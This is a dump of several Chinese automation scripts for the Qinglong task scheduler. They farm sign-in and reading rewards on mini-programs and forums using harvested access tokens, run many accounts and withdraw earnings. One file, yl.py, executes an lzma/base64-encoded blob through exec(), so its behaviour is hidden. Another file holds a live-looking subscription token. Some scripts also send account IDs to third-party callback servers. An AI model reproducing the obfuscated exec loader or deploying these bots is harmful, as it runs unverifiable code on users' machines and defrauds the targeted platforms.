221 |             if float(rmb) >= float(Limit):
222 |                 if 'zfbzh' in ck:
223 |                     j_data = {'unionid':unionid,'signid':request_id,'ua':2,'ptype':1,'paccount':ck['zfbzh'],'pname':ck['zfbxm']}
224 |                     j_result = ss.post(f'{domain}/yunonline/v1/withdraw',data=j_data).json()
225 |                     print(f"账号【{i+1}】余额满足{Limit}元支付宝体现结果: {j_result['msg']}")
226 |                 else:
227 |                     j_data = {'unionid':unionid,'signid':request_id,'ua':2,'ptype':0,'paccount':'','pname':''}
228 |                     j_result = ss.post(f'{domain}/yunonline/v1/withdraw',data=j_data).json()
229 |                     print(f"账号【{i+1}】余额满足{Limit}元微信体现结果: {j_result['msg']}")
230 |             else:
231 |                 print(f"账号【{i+1}】余额小于{Limit}元暂不提现! 当前金币: {money} 当前余额:{rmb}")
232 |            
233 | 
234 | # 微信推送模块
235 | def check_status(key,link,index):
236 |     if imei != None:
237 |         if ss.get("https://linxi-send.run.goorm.io").status_code ==200:
238 |             callback = "https://linxi-send.run.goorm.io"
239 |         else:
240 |             callback = "https://auth.linxi.tk"
241 |         result = ss.post(callback+"/create_task",json={"imei":imei}).json()
242 |         uuid = result['uuid']
243 |         msg = result['msg']
244 |         # print(f"账号【{str(index+1)}】避免并发,本次延迟{index*2}秒,上传服务器[{result['msg']}]")
245 |         # time.sleep(index*2)
246 |         result = ss.get(f'https://wxpusher.zjiecode.com/demo/send/custom/{key}?content=检测文章-{name}%0A请在{tsleep}秒内完成验证!%0A%3Cbody+onload%3D%22window.location.href%3D%27{quote(link)}%27%22%3E').json()
247 |         print(f"账号【{str(index+1)}】微信消息推送[{msg}]: {result['msg']},等待40s完成验证!")
248 |         for i in range(10):
249 |             result = ss.get(callback+f"/select_task/{imei}/{uuid}").json()
250 |             if result['code'] == 200:
251 |                 print(f"账号【{str(index+1)}】服务器回调结果:{result['msg']}")
252 |                 result = ss.get(callback+f"/delete_task/{imei}/{uuid}").json()
253 |                 print(f"账号【{str(index+1)}】查询本次uuid结果:{result['msg']}")
254 |                 return True
255 |             time.sleep(tsleep/10)
256 |         result = ss.get(callback+f"/delete_task/{imei}/{uuid}").json()
257 |         print(f"账号【{str(index+1)}】清除本次uuid结果:{result['msg']}")
258 |         return False
259 |     else:
260 |         # print(f"账号【{str(index+1)}】避免并发同一时间多个推送,本次推送延迟{index*2}秒")
261 |         # time.sleep(index*2)
262 |         result = ss.get(f'https://wxpusher.zjiecode.com/demo/send/custom/{key}?content=检测文章-{name}%0A请在{tsleep}秒内完成验证!%0A%3Cbody+onload%3D%22window.location.href%3D%27{quote(link)}%27%22%3E').json()
263 |         print(f"账号【{str(index+1)}】微信消息推送: {result['msg']},等待40s完成验证!")
264 |         #print(f"手动微信阅读链接: {link}")
265 |         time.sleep(tsleep)
266 |         return True
267 | 
268 | if __name__ == "__main__":
269 |     print(f"""██╗     ██╗███╗   ██╗██╗  ██╗██╗     ██╗  ██╗██╗   ██╗██╗   ██╗██████╗ 
270 | ██║     ██║████╗  ██║╚██╗██╔╝██║     ╚██╗██╔╝╚██╗ ██╔╝╚██╗ ██╔╝██╔══██╗
271 | ██║     ██║██╔██╗ ██║ ╚███╔╝ ██║█████╗╚███╔╝  ╚████╔╝  ╚████╔╝ ██║  ██║
272 | ██║     ██║██║╚██╗██║ ██╔██╗ ██║╚════╝██╔██╗   ╚██╔╝    ╚██╔╝  ██║  ██║
273 | ███████╗██║██║ ╚████║██╔╝ ██╗██║     ██╔╝ ██╗   ██║      ██║   ██████╔╝
274 | ╚══════╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝   ╚═╝      ╚═╝   ╚═════╝ 
275 |     项目:{name}           BY-林夕          Verion: {version}(并发)
276 |     Github仓库地址: https://github.com/linxi-520/LinxiPush
277 | """)
278 |     if Btype == "青龙":
279 |         if os.getenv(linxi_token) == None:
280 |             print(f'青龙变量异常: 请添加{linxi_token}变量示例:{linxi_tips} 确保一行一个')
281 |             exit()
282 |         # 变量CK列表
283 |         ck_token = [json.loads(line) for line in os.getenv(linxi_token).splitlines()]
284 |     else:
285 |         # 本地CK列表
286 |         ck_token = [
287 |             # 这里填写本地变量
288 |         ]
289 |         if ck_token == []:
290 |             print(f'本地变量异常: 请添加本地ck_token示例:{linxi_tips}')
291 |     print("==================回调服务器状态=================")
292 |     if imei:
293 |         print(f"[回调服务器]:已启用-[授权ID:{imei}]")
294 |     else:
295 |         print(f"[回调服务器]:未启用-[变量ID:{imei}]")
296 |     # 创建进程池
297 |     with Pool() as pool:
298 |         # 并发执行函数
299 |         print("==================获取账号信息=================")
300 |         pool.starmap(user_info, list(enumerate(ck_token)))
301 |         print("==================开始阅读文章=================")
302 |         pool.starmap(do_read, list(enumerate(ck_token)))
303 |         print("==================开始账号提现=================")
304 |         pool.starmap(get_money, list(enumerate(ck_token)))
305 | 
306 | 
307 |         # 关闭进程池
308 |         pool.close()
309 |         # 等待所有子进程执行完毕
310 |         pool.join()
311 | 
312 |         # 关闭连接
313 |         ss.close
314 |         # 输出结果
315 |         print(f"================[{name}V{version}]===============")
316 | 


--------------------------------------------------------------------------------
/yiyr.txt:
--------------------------------------------------------------------------------
1 | https://sub2.smallstrawberry.com/api/v1/client/subscribe?token=f67caf7f3c9d5156067e9ba6a171641d
2 | 


--------------------------------------------------------------------------------
/yl.py:
--------------------------------------------------------------------------------
 1 | """
 2 | 
 3 | 变量名:hlyl
 4 | 格式:openid#token#备注
 5 | 多账号用&
 6 | 一天一次，不到账就是黑了，找客服
 7 | PS:加密算法用的幻生大佬发的
 8 | Python依赖:PyExecJS
 9 | """
10 | 
11 | 
12 | import lzma, base64
13 | exec(lzma.decompress(base64.b64decode('/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4APUASNdADSbSme4Ujxz98E0ClwvVjo94gxrJSFdUXCaQNLKTdOsYdLothMkppmNAscozSJk4tdIc96jCFo3keWoy3EcDTbT1ZSwlKaqPKcVyS4no4oay5nqMvts7HdVoygn6m29AMK1NdfihxGo/VcEYDGjWkc0/LyefQMi+50QrGSNSembBnTO3hkkRnyUHPh28VFxYvReMLb/s0WhXnJ1JLy71AO+QD5QgxwUjKP1VHcKGBMyMcvVBonw4dY3hO6rSwD9QnAMGQFsDl0+MlO+9QmJ55GNXJSqWM+YY97lujh0w1ahumStxk0gqWdEyh4bpchdXl8cim+mm6HhCDpqza9oAH1ox9RAogpgVDSOpJpJYCP2EDK698SKUlfi4RkrMPNZiESXmgAAwTyZn0p70NoAAb8C1QcAADN5zEaxxGf7AgAAAAAEWVo=')))
14 | 
15 | 
16 | 


--------------------------------------------------------------------------------
/ylnn.js:
--------------------------------------------------------------------------------
  1 | /*
  2 | @随缘撸豆
  3 |    伊利牛奶小程序          cron 45 12 * * *  https://raw.githubusercontent.com/liuqi6968/-/main/ylnn.js
  4 |    
  5 |   地址:  #小程序://伊利/1jrunQEW7zfybgI
  6 | 
  7 | 5.27      完成签到
  8 | 
  9 | ------------------------  青龙--配置文件-贴心复制区域  ---------------------- 
 10 | # 伊利牛奶 小程序 
 11 | #小程序://伊利/1jrunQEW7zfybgI
 12 | 抓取 https://msmarket.msx.digitalyili.com  中的access-token
 13 | export ylnn="  access-token " 
 14 | 多账号用 换行 或 @ 分割
 15 | 注意脚本运行以后 在登录小程序ck会失效
 16 | 
 17 | 
 18 | 这个就是以前畅意100 以前玩过的可以找客服把积分移过到这个小程序里面
 19 | */
 20 | 
 21 | const $ = new Env("伊利牛奶")
 22 | const CK_NAME = "ylnn"
 23 | const Notify = 1         // 通知控制
 24 | const tgLogFlag = 1      // 是否tg发送通知, 偷撸车使用, 默认0--不发送
 25 | let msg = '' 
 26 | //===========================================================================
 27 | 
 28 | //===========================================================================
 29 | //
 30 | async function main(userInfo) {
 31 | 
 32 |     await userInfo.sign()
 33 |    await userInfo.point()
 34 | 
 35 | 
 36 | 
 37 | }
 38 | 
 39 | 
 40 | class UserInfo {
 41 |     constructor(index, str) {
 42 |         this.user_log = `${$.name}\n`
 43 |         this.index = index + 1
 44 | 
 45 |         if (tgLogFlag) {
 46 |             try {
 47 |                 this.ck = str
 48 |             } catch (error) {
 49 |                 console.log(error)
 50 |             }
 51 |         }
 52 | 
 53 | 
 54 |     }
 55 | 
 56 | 
 57 | 
 58 | async sign() {
 59 |         let name = "签到";
 60 |         let options = {
 61 |             method: "post",
 62 |             url: `https://msmarket.msx.digitalyili.com/gateway/api/member/daily/sign`,
 63 |             headers:  {
 64 |     "Host": "msmarket.msx.digitalyili.com",
 65 |     "charset": "utf-8",
 66 |     "content-type": "application/json",
 67 |     "access-token": `${this.ck}`
 68 |   },
 69 |             body: `{}`
 70 |         };
 71 |        // console.log(options);
 72 | 
 73 |         let res = await httpRequest(options);
 74 |         // console.log(res);
 75 |         if (res.status == true) {
 76 |          this.cusLog(`账号 ${this.index}  : 签到成功`)
 77 |         } else if (res.status == false) {
 78 |             this.cusLog(`账号 ${this.index}  :  ck过期 请重新抓取 access-token`)
 79 |         } else this.cusLog(`账号[${this.index}]  ${name} 失败 ❌ 了呢`), console.log(res);
 80 |     }
 81 | async point() {
 82 |         let name = "个人信息";
 83 |         let options = {
 84 |             method: "get",
 85 |             url: `https://msmarket.msx.digitalyili.com/gateway/api/member/point`,
 86 |             headers:  {
 87 |     "Host": "msmarket.msx.digitalyili.com",
 88 |     "charset": "utf-8",
 89 |     "content-type": "application/json",
 90 |     "access-token": `${this.ck}`
 91 |   }
 92 |           
 93 |         };
 94 |        // console.log(options);
 95 | 
 96 |         let res = await httpRequest(options);
 97 |         // console.log(res);
 98 |         if (res.status == true) {
 99 |          this.cusLog(`账号 ${this.index} 总积分 : ${res.data} `)
100 |         } else if (res.status == false) {
101 |             this.cusLog(`账号 ${this.index}  :  ck过期 请重新抓取 access-token`)
102 |         } else this.cusLog(`账号[${this.index}]  ${name} 失败 ❌ 了呢`), console.log(res);
103 |     }
104 | 
105 | 
106 | 
107 | 
108 | 
109 | 
110 | 
111 | 
112 | 
113 | 
114 | 
115 |     async Sendtg_bot() {
116 |         const TelegramBot = require('node-telegram-bot-api');
117 |         const tg_token = process.env.tg_token;
118 |         // console.log(tg_token);
119 |         let bot = new TelegramBot(tg_token);
120 |         let msg = this.user_log;
121 |         // console.log(`=================`);
122 |         // console.log(this.chatId, msg);
123 |         await bot.sendMessage(this.chatId, msg);
124 |     }
125 | 
126 | 
127 |     cusLog(a) {
128 |         if (tgLogFlag) {
129 |             console.log(`    ${a}`);
130 |             msg += `\n ${a}`;
131 |             this.user_log += `\n ${a}`;
132 |         } else {
133 |             console.log(`    ${a}`);
134 |             msg += `\n    ${a}`;
135 |         }
136 |     }
137 | 
138 | 
139 | }
140 | 
141 | 
142 | 
143 | 
144 | 
145 | ///////////////////////////////////////////////////////////////////
146 | 
147 | // 入口
148 | !(async () => {
149 |     const notify = require("./sendNotify");
150 |     $.doubleLog(await $.yiyan());
151 |     let users = await getUsers(CK_NAME, async (index, element) => {
152 |         let userInfo = new UserInfo(index, element);
153 |         return userInfo;
154 |     });
155 | 
156 |     list = [];
157 |     users.forEach(async element => {
158 |         list.push(main(element));
159 |     });
160 | 
161 |     await Promise.all(list);
162 | 
163 | })()
164 |     .catch((e) => console.log(e))
165 |     .finally(() => $.done());
166 | 
167 | 
168 | // ==============================================================================
169 | async function getUsers(ckName, fnUserInfo) {
170 |     let userList = [];
171 |     let userCookie = process.env[ckName];
172 |     let envSplicer = ["@", "\n", "&"];
173 |     let userCount = 0;
174 |     if (userCookie) {
175 |         let e = envSplicer[0];
176 |         for (let o of envSplicer)
177 |             if (userCookie.indexOf(o) > -1) {
178 |                 e = o;
179 |                 break;
180 |             }
181 |         let arr = userCookie.split(e);
182 |         for (let index = 0; index < arr.length; index++) {
183 |             const element = arr[index];
184 |             element && userList.push(await fnUserInfo(index, element));
185 |         }
186 |         userCount = userList.length;
187 |     } else {
188 |         console.log("抓取https://msmarket.msx.digitalyili.com  中的access-token");
189 |     }
190 |     console.log(`共找到${userCount}个账号`), !0;
191 |     return userList;
192 | }
193 | 
194 | async function httpRequest(options, type = false) {
195 |     return new Promise((resolve) => {
196 |         try {
197 |             $.send(options, async (err, res_body, res_format, res) => {
198 |                 if (err) {
199 |                     console.log(`错误, 检查点--2`); return;
200 |                 }
201 |                 if (!type) {
202 |                     resolve(res_body);
203 |                 } resolve(res_format);
204 |             });
205 |         } catch (error) {
206 |             console.log(error);
207 |         }
208 | 
209 |     });
210 | }
211 | 
212 | 
213 | 
214 | 
215 | 
216 | 
217 | 
218 | // ============================================================================================================================
219 | 
220 | // 新的 env 函数, 增加自定义功能 yml-11.12改   合并
221 | function Env(name, env) {
222 |     "undefined" != typeof process &&
223 |         JSON.stringify(process.env).indexOf("GITHUB") > -1 &&
224 |         process.exit(0);
225 |     return new (class {
226 |         constructor(name, env) {
227 |             this.name = name;
228 |             this.notifyStr = "";
229 |             this.notifyFlag = false;
230 |             this.startTime = new Date().getTime();
231 |             Object.assign(this, env);
232 |             console.log(`${this.name} 开始运行: \n`);
233 |         }
234 |         isNode() {
235 |             return "undefined" != typeof module && !!module.exports;
236 |         }
237 |         send(options, e = () => { }) {
238 |             let m = options.method.toLowerCase();
239 |             let t = options;
240 |             if (m != "get" && m != "post" && m != "put" && m != "delete") {
241 |                 console.log(`无效的http方法: ${m}`);
242 |                 return;
243 |             }
244 |             if (m == "get" && t.headers) {
245 |                 // delete t.headers["Content-Type"];
246 |                 delete t.headers["Content-Length"];
247 |             } else if (t.body && t.headers) {
248 |                 if (t.headers["content-type"]) {
249 |                     let tem = t.headers["content-type"];
250 |                     delete t.headers["content-type"];
251 |                     t.headers["Content-Type"] = tem;
252 |                 } else if (t.body && t.headers) {
253 |                     if (!t.headers["Content-Type"])
254 |                         t.headers["Content-Type"] = "application/x-www-form-urlencoded";
255 |                 }
256 |             }
257 |             if (this.isNode()) {
258 |                 this.request = this.request ? this.request : require("request");
259 |                 this.request(options, function (error, response) {
260 |                     if (error) throw new Error(error);
261 |                     let res_body = response.body;
262 |                     let res = response;
263 |                     try {
264 |                         if (typeof res_body == "string") {
265 |                             if ($.isJsonStr(res_body)) {
266 |                                 res_body = JSON.parse(res_body);
267 |                                 let res_format = $.formatJson(response.body);
268 |                                 e(null, res_body, res_format, res);
269 |                             } else e(null, res_body, res_format, res);
270 |                         } else e(null, res_body, res_format, res);
271 |                     } catch (error) {
272 |                         console.log(error);
273 |                         let a = `ENV -- request 请求错误, 检查点1\n${error}`;
274 |                         e(a, null, null, null);
275 |                     }
276 |                 });
277 |             }
278 |         }
279 |         isJsonStr(str) {
280 |             if (typeof str == "string") {
281 |                 try {
282 |                     if (typeof JSON.parse(str) == "object") {
283 |                         return true;
284 |                     }
285 |                 } catch (e) {
286 |                     return false;
287 |                 }
288 |             }
289 |             return false;
290 |         }
291 |         formatJson(value) {
292 |             var json = value;
293 |             var i = 0,
294 |                 len = 0,
295 |                 tab = "    ",
296 |                 targetJson = "",
297 |                 indentLevel = 0,
298 |                 inString = false,
299 |                 currentChar = null;
300 |             for (i = 0, len = json.length; i < len; i += 1) {
301 |                 currentChar = json.charAt(i);
302 |                 switch (currentChar) {
303 |                     case "{":
304 |                     case "[":
305 |                         if (!inString) {
306 |                             targetJson += currentChar + "\n" + repeat(tab, indentLevel + 1);
307 |                             indentLevel += 1;
308 |                         } else {
309 |                             targetJson += currentChar;
310 |                         }
311 |                         break;
312 |                     case "}":
313 |                     case "]":
314 |                         if (!inString) {
315 |                             indentLevel -= 1;
316 |                             targetJson += "\n" + repeat(tab, indentLevel) + currentChar;
317 |                         } else {
318 |                             targetJson += currentChar;
319 |                         }
320 |                         break;
321 |                     case ",":
322 |                         if (!inString) {
323 |                             targetJson += ",\n" + repeat(tab, indentLevel);
324 |                         } else {
325 |                             targetJson += currentChar;
326 |                         }
327 |                         break;
328 |                     case ":":
329 |                         if (!inString) {
330 |                             targetJson += ": ";
331 |                         } else {
332 |                             targetJson += currentChar;
333 |                         }
334 |                         break;
335 |                     case " ":
336 |                     case "\n":
337 |                     case "\t":
338 |                         if (inString) {
339 |                             targetJson += currentChar;
340 |                         }
341 |                         break;
342 |                     case '"':
343 |                         if (i > 0 && json.charAt(i - 1) !== "\\") {
344 |                             inString = !inString;
345 |                         }
346 |                         targetJson += currentChar;
347 |                         break;
348 |                     default:
349 |                         targetJson += currentChar;
350 |                         break;
351 |                 }
352 |             }
353 |             function repeat(s, count) {
354 |                 return new Array(count + 1).join(s);
355 |             }
356 |             function repeat(s, count) {
357 |                 return new Array(count + 1).join(s);
358 |             }
359 |             return targetJson;
360 |         }
361 |         type(str) {
362 |             if (this.strCode(str) > 20) {
363 |                 return console.log(`数据类型是: ${typeof str}`);
364 |             }
365 |             return console.log(`${str}数据类型是: ${typeof str}`);
366 |         }
367 |         strCode(str) {
368 |             var count = 0;
369 |             if (str) {
370 |                 let len = str.length;
371 |                 for (var i = 0; i < len; i++) {
372 |                     if (str.charCodeAt(i) > 255) {
373 |                         count += 2;
374 |                     } else {
375 |                         count++;
376 |                     }
377 |                 }
378 |                 return count;
379 |             } else return 0;
380 |         }
381 |         async SendMsg(message) {
382 |             if (!message) return;
383 |             if (Notify > 0) {
384 |                 if ($.isNode()) {
385 |                     var notify = require("./sendNotify");
386 |                     await notify.sendNotify($.name, message);
387 |                 } else {
388 |                     console.log($.name, "", message);
389 |                 }
390 |             } else {
391 |                 console.log(message);
392 |             }
393 |         }
394 |         getMin(a, b) {
395 |             return a < b ? a : b;
396 |         }
397 |         getMax(a, b) {
398 |             return a < b ? b : a;
399 |         }
400 |         json2str(obj, c, encodeUrl = false) {
401 |             let ret = [];
402 |             for (let keys of Object.keys(obj).sort()) {
403 |                 let v = obj[keys];
404 |                 if (v && encodeUrl) v = encodeURIComponent(v);
405 |                 ret.push(keys + "=" + v);
406 |             }
407 |             return ret.join(c);
408 |         }
409 |         str2json(str, decodeUrl = false) {
410 |             let ret = {};
411 |             for (let item of str.split("&")) {
412 |                 if (!item) continue;
413 |                 let idx = item.indexOf("=");
414 |                 if (idx == -1) continue;
415 |                 let k = item.substr(0, idx);
416 |                 let v = item.substr(idx + 1);
417 |                 if (decodeUrl) v = decodeURIComponent(v);
418 |                 ret[k] = v;
419 |             }
420 |             return ret;
421 |         }
422 |         randomStr(len, up = false, charset = "abcdef0123456789") {
423 |             let str = "";
424 |             for (let i = 0; i < len; i++) {
425 |                 str += charset.charAt(Math.floor(Math.random() * charset.length));
426 |             }
427 |             if (!up) {
428 |                 return str;
429 |             }
430 |             return str.toUpperCase();
431 |         }
432 |         phoneNum(phone_num) {
433 |             if (phone_num.length == 11) {
434 |                 let data = phone_num.replace(/(\d{3})\d{4}(\d{4})/, "$1****$2");
435 |                 return data;
436 |             } else {
437 |                 return phone_num;
438 |             }
439 |         }
440 |         randomInt(min, max) {
441 |             return Math.round(Math.random() * (max - min) + min);
442 |         }
443 |         async yiyan() {
444 |             this.request = this.request ? this.request : require("request");
445 |             return new Promise((resolve) => {
446 |                 var options = {
447 |                     method: "GET",
448 |                     url: "https://v1.hitokoto.cn/",
449 |                     headers: {},
450 |                 };
451 |                 this.request(options, function (error, response) {
452 |                     let data = JSON.parse(response.body);
453 |                     let data_ = `[一言]: ${data.hitokoto}  by--${data.from}`;
454 |                     resolve(data_);
455 |                 });
456 |             });
457 |         }
458 |         wait(t) {
459 |             return new Promise((e) => setTimeout(e, t * 1000));
460 |         }
461 |         ts(type = false, _data = "") {
462 |             let myDate = new Date();
463 |             let a = "";
464 |             switch (type) {
465 |                 case 10:
466 |                     a = Math.round(new Date().getTime() / 1000).toString();
467 |                     break;
468 |                 case 13:
469 |                     a = Math.round(new Date().getTime()).toString();
470 |                     break;
471 |                 case "h":
472 |                     a = myDate.getHours();
473 |                     break;
474 |                 case "m":
475 |                     a = myDate.getMinutes();
476 |                     break;
477 |                 case "y":
478 |                     a = myDate.getFullYear();
479 |                     break;
480 |                 case "h":
481 |                     a = myDate.getHours();
482 |                     break;
483 |                 case "mo":
484 |                     a = myDate.getMonth();
485 |                     break;
486 |                 case "d":
487 |                     a = myDate.getDate();
488 |                     break;
489 |                 case "ts2Data":
490 |                     if (_data != "") {
491 |                         time = _data;
492 |                         if (time.toString().length == 13) {
493 |                             let date = new Date(time + 8 * 3600 * 1000);
494 |                             a = date.toJSON().substr(0, 19).replace("T", " ");
495 |                         } else if (time.toString().length == 10) {
496 |                             time = time * 1000;
497 |                             let date = new Date(time + 8 * 3600 * 1000);
498 |                             a = date.toJSON().substr(0, 19).replace("T", " ");
499 |                         }
500 |                     }
501 |                     break;
502 |                 default:
503 |                     a = "未知错误,请检查";
504 |                     break;
505 |             }
506 |             return a;
507 |         }
508 |         doubleLog(a) {
509 |             console.log(`    ${a}`);
510 |             msg += `\n    ${a}`;
511 |         }
512 |         async done(t = {}) {
513 |             await $.SendMsg(msg);
514 |             const e = new Date().getTime(),
515 |                 s = (e - this.startTime) / 1e3;
516 |             console.log(`\n${this.name} 运行结束，共运行了 ${s} 秒！`);
517 |         }
518 |     })(name, env);
519 | }
520 | 


--------------------------------------------------------------------------------
/zkb.py:
--------------------------------------------------------------------------------
 1 | import os,requests, re, json, urllib3
 2 | 
 3 | def handle(cookie):
 4 |     urllib3.disable_warnings()
 5 |     imfo_list =[]
 6 |     for i in range(len(cookie)):
 7 |         print('开始第'+ str(i+1) +'个帐号签到'+'\n'+'***********************')
 8 |         f_url = 'https://v1.xianbao.net/' 
 9 |         url = 'https://v1.xianbao.net/app.php?p=sign&action=todaysign'
10 |         headers = {
11 |             'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Mobile/15E148 Safari/604.1',
12 |             'cookie': f'{cookie[i]}',
13 |             'Host': 'v1.xianbao.net',
14 |             'Content-Type': 'application/x-www-form-urlencoded',
15 |             'Origin': 'https://v1.xianbao.net'
16 |         }
17 |         f_html = requests.post(url=f_url, headers=headers, verify=False,allow_redirects=False).text
18 |         formhash = str(re.findall('name="formhash" value="(.*?)" />', f_html, re.S)).replace('[', '').replace('\'', '').replace(']', '')
19 |         data = {
20 |         'formhash': f'{formhash}'
21 |         }
22 |         html = requests.post(url=url, headers=headers, data=data, verify=False).text
23 |         result = re.findall('<div id="messagetext" class="alert.*">\n<p>(.*?)<script type="text/javascript" reload="1">', html, re.S)
24 |         message = "".join(result)
25 |         url_2 = 'https://v1.xianbao.net/home.php?mod=spacecp&ac=credit&showcredit=1'
26 |         html_2 = requests.get(url=url_2, headers=headers, verify=False).text
27 |         info = '用户名：' + "".join(re.findall('title="访问我的空间">(.*?)</a>', html_2, re.S))
28 |         guoguo = '果果:' + "".join(re.findall('src="/static/images/common/guoguo.gif" /> 果果: </em>(.*?)&nbsp; <a href="home.php?', html_2, re.S))
29 |         sign_info = info + ' ' + guoguo + ' 签到结果:【' + message + '】'
30 |         imfo_list.append(sign_info)
31 |     imfo_message = str(imfo_list).replace("\', \'","\n").replace("[\'","").replace("\']","")
32 |     return imfo_message
33 | 
34 | if __name__ ==  "__main__":
35 |     cookie = os.environ.get('XZKB_COOKIE')
36 |     cookie_list = cookie.split('#')
37 |     print(handle(cookie_list))


--------------------------------------------------------------------------------
/心喜查询库.py:
--------------------------------------------------------------------------------
  1 | """
  2 | 心喜查询库存  1.0
  3 | 
  4 | 
  5 | """
  6 | import os
  7 | import requests
  8 | from datetime import datetime, timezone, timedelta
  9 | import json
 10 | import time
 11 | import io
 12 | import sys
 13 | import requests
 14 | import base64
 15 | 
 16 | import random  # 导入random模块以生成随机暂停时间
 17 | enable_notification = 1   #0不发送通知   1发送通知
 18 | 
 19 | 
 20 | # 只有在需要发送通知时才尝试导入notify模块
 21 | if enable_notification == 1:
 22 |     try:
 23 |         from notify import send
 24 |     except ModuleNotFoundError:
 25 |         print("警告：未找到notify.py模块。它不是一个依赖项，请勿错误安装。程序将退出。")
 26 |         sys.exit(1)
 27 | 
 28 | #---------简化的框架 0.4 带通知--------
 29 | 
 30 | jbxmmz = "心喜视频会员库存查询"
 31 | jbxmbb = "1.0"
 32 | 
 33 | 
 34 | # 获取北京日期的函数
 35 | def get_beijing_date():  
 36 |     beijing_time = datetime.now(timezone(timedelta(hours=8)))
 37 |     return beijing_time.date()
 38 | 
 39 | def dq_time():
 40 |     # 获取当前时间戳
 41 |     dqsj = int(time.time())
 42 | 
 43 |     # 将时间戳转换为可读的时间格式
 44 |     dysj = datetime.fromtimestamp(dqsj).strftime('%Y-%m-%d %H:%M:%S')
 45 |     #print("当前时间戳:", dqsj)
 46 |     #print("转换后的时间:", dysj)
 47 | 
 48 |     return dqsj, dysj
 49 | 
 50 | def log(message):
 51 |     print(message)
 52 | 
 53 | def print_disclaimer():
 54 |     log("📢 请认真阅读以下声明")
 55 |     log("      【免责声明】         ")
 56 |     log("✨ 脚本及其中涉及的任何解密分析程序，仅用于测试和学习研究")
 57 |     log("✨ 禁止用于商业用途，不能保证其合法性，准确性，完整性和有效性，请根据情况自行判断")
 58 |     log("✨ 禁止任何公众号、自媒体进行任何形式的转载、发布")
 59 |     log("✨ 本人对任何脚本问题概不负责，包括但不限于由任何脚本错误导致的任何损失或损害")
 60 |     log("✨ 脚本文件请在下载试用后24小时内自行删除")
 61 |     log("✨ 脚本文件如有不慎被破解或修改由破解或修改者承担")
 62 |     log("✨ 如不接受此条款请立即删除脚本文件")
 63 |     log("" * 10)
 64 |     log("如果喜欢请打赏支持维护和开发    更要钱动力 来 更新/维护脚本")
 65 |     log("" * 10)
 66 |     log(f'这个是怎么东西？？？')
 67 |     log(f'U2FsdGVkX1/F371b27nTzUeMknDFjABXyQBHINWvVPRkUVoUe6ZdZ508DVGF7dMc')
 68 |     log("" * 10)
 69 |     log("" * 10)
 70 |     log(f'-----------{jbxmmz} {jbxmbb}-----------')
 71 | 
 72 | 
 73 | 
 74 | # 获取环境变量
 75 | def get_env_variable(var_name):
 76 |     value = os.getenv(var_name)
 77 |     if value is None:
 78 |         print(f'环境变量{var_name}未设置，请检查。')
 79 |         return None
 80 |     accounts = value.strip().split('\n')
 81 |     num_accounts = len(accounts)
 82 |     print(f'-----------本次账号运行数量：{num_accounts}-----------')
 83 |    
 84 |     print_disclaimer()
 85 |     return accounts
 86 | 
 87 | 
 88 | #-------------------------------封装请求-------------
 89 | 
 90 | 
 91 | def create_headers(sso):
 92 |     headers = {
 93 |         'Host': 'api.xinc818.com',
 94 |         'Connection': 'keep-alive',
 95 |         'sso': sso,
 96 |         'xweb_xhr': '1',
 97 |         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8531',
 98 |         'Content-Type': 'application/json',
 99 |         'Accept': '*/*',
100 |         'Sec-Fetch-Site': 'cross-site',
101 |         'Sec-Fetch-Mode': 'cors',
102 |         'Sec-Fetch-Dest': 'empty',
103 |         'Accept-Encoding': 'gzip, deflate, br',
104 |         'Accept-Language': 'zh-CN,zh;q=0.9'
105 |     }
106 |     return headers
107 | 
108 | 
109 | #-------------------------------封装请求---完成----------
110 | 
111 | 
112 | def sign_in(sso):
113 | 
114 |     base_url = "https://api.xinc818.com/mini/integralGoods/"
115 |     headers = create_headers(sso)
116 |     product_ids = [2140, 2143, 2142, 2138, 2135, 2132, 2234]
117 |     for product_id in product_ids:
118 |         url = f"{base_url}{product_id}?type="
119 |         try:
120 |             response = requests.get(url, headers=headers)
121 |             response.raise_for_status()  # 确保请求成功
122 |             data = response.json()  # 解析JSON响应体
123 |             if data['code'] == 0:
124 |                 #print(f"签到成功：商品ID {product_id}")
125 |                 item_id = data['data']['id']
126 |                 name = data['data']['name']
127 |                 stock = data['data']['stock']
128 |                 miniDisplayPrice = data['data']['miniDisplayPrice']
129 |                 #print(f"商品ID：{item_id}, 名称：{name}, 库存：{stock} 需要：{miniDisplayPrice}")
130 |                 print(f"{name}, 库存：{stock}  需要：{miniDisplayPrice}")
131 |             else:
132 |                 print(f"请求失败，商品ID {product_id}，完整响应体：", data)
133 |         except requests.exceptions.HTTPError as http_err:
134 |             print(f"HTTP错误：{http_err}")
135 |         except Exception as err:
136 |             print(f"请求异常：{err}")
137 |         
138 |         # 随机暂停1到3秒
139 |         time_to_sleep = random.uniform(1, 3)
140 |         time.sleep(time_to_sleep)
141 | 
142 | #本地测试用 
143 | os.environ['XSSO111NFkc'] = '''
144 | 
145 | '''
146 | 
147 | 
148 | 
149 | class Tee:
150 |     def __init__(self, *files):
151 |         self.files = files
152 | 
153 |     def write(self, obj):
154 |         for file in self.files:
155 |             file.write(obj)
156 |             file.flush()
157 | 
158 |     def flush(self):
159 |         for file in self.files:
160 |             file.flush()
161 | 
162 | def main():
163 |     var_name = 'XSSONFkc'
164 |     tokens = get_env_variable(var_name)
165 |     if not tokens:
166 |         print(f'环境变量{var_name}未设置，请检查。')
167 |         return
168 | 
169 |     captured_output = io.StringIO()
170 |     original_stdout = sys.stdout
171 |     sys.stdout = Tee(sys.stdout, captured_output)
172 | 
173 |     total_accounts = len(tokens)
174 | 
175 |     for i, token in enumerate(tokens):
176 |         parts = token.split('#')
177 |         if len(parts) < 1:
178 |             print("令牌格式不正确。跳过处理。")
179 |             continue
180 | 
181 |         sso = parts[0]  
182 |         account_no = parts[1] if len(parts) > 1 else ""  # 备注信息
183 |         print(f'------账号 {i+1}/{total_accounts} {account_no} -------')
184 | 
185 |         sign_in(sso)  # 为每个用户执行签到操作，确保sign_in函数接受cookie参数
186 | 
